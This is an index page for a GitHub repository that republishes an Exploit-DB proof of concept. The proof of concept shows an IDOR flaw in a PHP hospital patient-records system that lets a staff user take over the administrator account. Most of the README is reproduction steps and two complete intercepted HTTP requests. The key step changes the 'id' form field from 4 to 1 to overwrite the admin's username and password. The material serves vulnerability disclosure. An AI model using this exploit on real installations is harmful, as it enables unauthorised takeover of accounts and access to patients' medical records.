Ecosyste.ms: Awesome
An open API service indexing awesome lists of open source software.
https://github.com/twseptian/hprmsv1.0-account-takeover
Hospital's Patient Records Management System v1.0 - 'id' Insecure direct object references (IDOR) leads to Account TakeOver
https://github.com/twseptian/hprmsv1.0-account-takeover
idor insecure-direct-object-references vulnerability vulnerability-assessment
Last synced: 23 days ago
JSON representation
Hospital's Patient Records Management System v1.0 - 'id' Insecure direct object references (IDOR) leads to Account TakeOver
- Host: GitHub
- URL: https://github.com/twseptian/hprmsv1.0-account-takeover
- Owner: twseptian
- Created: 2022-01-07T04:15:55.000Z (about 3 years ago)
- Default Branch: main
- Last Pushed: 2022-01-07T04:20:33.000Z (about 3 years ago)
- Last Synced: 2024-11-06T19:51:15.955Z (2 months ago)
- Topics: idor, insecure-direct-object-references, vulnerability, vulnerability-assessment
- Homepage:
- Size: 3.91 KB
- Stars: 0
- Watchers: 2
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
README
# Hospital's Patient Records Management System v1.0 - 'id' Insecure direct object references (IDOR) leads to Account TakeOver
Original link: https://www.exploit-db.com/exploits/50631
```bash
# Exploit Title: Hospital's Patient Records Management System v1.0 - 'id' Insecure direct object references (IDOR) leads to Account TakeOver
# Date: 2021-12-30
# Exploit Author: twseptian
# Vendor Homepage: https://www.sourcecodester.com/php/15116/hospitals-patient-records-management-system-php-free-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/hprms_0.zip
# Version: v1.0
# Tested on: Kali Linux 2021.4
```
## Insecure direct object references (IDOR)
Insecure Direct Object References (IDOR) occur when an application provides direct access to objects based on user-supplied input.Insecure Direct Object References allow attackers to bypass authorization and access resources directly by modifying the value of a parameter used to directly point to an object. Such resources can be database entries belonging to other users, files in the system.
## Attack Vector
An attacker can takeover the Administrator's account
## Steps of reproduce:
Note: in this case, we used two users, user1 as a staff with user id '4', and admin as an Administrator with user id '1'.
- Step-1: Log in to the application using user1 account,then on the dashboard navigate to 'My Account' -> http://localhost/hprms/admin/?page=user
- Step-2: Modify the username,lastname and password,then let's intercept the request using burpsuite:
```html
POST /hprms/classes/Users.php?f=save HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------17632878732301879013646251239
Content-Length: 806
Origin: http://localhost
Connection: close
Referer: http://localhost/hprms/admin/?page=user
Cookie: PHPSESSID=32kl57ct3p8nsicsrp8dte2c50
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
-----------------------------17632878732301879013646251239
Content-Disposition: form-data; name="id"
4
-----------------------------17632878732301879013646251239
Content-Disposition: form-data; name="firstname"
user1
-----------------------------17632878732301879013646251239
Content-Disposition: form-data; name="lastname"
admin
-----------------------------17632878732301879013646251239
Content-Disposition: form-data; name="username"
admin1
-----------------------------17632878732301879013646251239
Content-Disposition: form-data; name="password"
admin1
-----------------------------17632878732301879013646251239
Content-Disposition: form-data; name="img"; filename=""
Content-Type: application/octet-stream
-----------------------------17632878732301879013646251239--
```
- Step-3: Change parameter id '4' to id '1'
```html
POST /hprms/classes/Users.php?f=save HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------17632878732301879013646251239
Content-Length: 806
Origin: http://localhost
Connection: close
Referer: http://localhost/hprms/admin/?page=user
Cookie: PHPSESSID=32kl57ct3p8nsicsrp8dte2c50
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
-----------------------------17632878732301879013646251239
Content-Disposition: form-data; name="id"
1
-----------------------------17632878732301879013646251239
Content-Disposition: form-data; name="firstname"
user1
-----------------------------17632878732301879013646251239
Content-Disposition: form-data; name="lastname"
admin
-----------------------------17632878732301879013646251239
Content-Disposition: form-data; name="username"
admin1
-----------------------------17632878732301879013646251239
Content-Disposition: form-data; name="password"
admin1
-----------------------------17632878732301879013646251239
Content-Disposition: form-data; name="img"; filename=""
Content-Type: application/octet-stream
-----------------------------17632878732301879013646251239--
```
- step-4: Click 'Forward' on burpsuite. Now user1 is a Administrator.